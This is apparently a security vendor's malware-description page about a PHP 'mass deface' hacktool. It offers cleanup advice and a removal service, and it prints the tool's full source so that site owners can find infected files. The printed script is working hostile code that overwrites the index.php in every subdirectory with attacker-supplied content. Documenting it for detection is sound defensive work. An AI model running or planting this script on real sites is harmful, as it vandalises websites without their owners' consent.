Hacktools are specially crafted tools to perform malicious or illicit activities, such as controlling botnets, mining bitcoins, triggering Denial-of-Service attacks and bruteforcing passwords. Those tools most of the time hidden in the filesystem and were installed among with other malicious code throug a vulnerability or an already compromised server.
This tool aims to automatically deface webpages once uploaded to the website and executed.
Cleanup
Cleanup is done by deleting the malicious file. The infection can be found in your system by searching for parts of the dump below inside your site's files.
You can also sign up with us and let our team remove the malware for you.
Dump
<?php
/*
Script: Mass Deface Script
Author: illSecure Research Group
Website: http://illsecure.com
Email: illSecResearchGroup@gmail.com
Disclaimer:
This script is for Research/Educational/Academic purposes only,
The Author of this script takes no responsibility for the way
you use this script, you are responsible for your own actions.
*/
echo "<center><textarea rows='10' cols='100'>";
$defaceurl = $_POST['massdefaceurl'];
$dir = $_POST['massdefacedir'];
echo $dir."n";
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if(filetype($dir.$file)=="dir"){
$newfile=$dir.$file."/index.php";
echo $newfile."n";
if (!copy($defaceurl, $newfile)) {
echo "failed to copy $file...n";
}
}
}
closedir($dh);
}
}
echo "</textarea></center>";
?>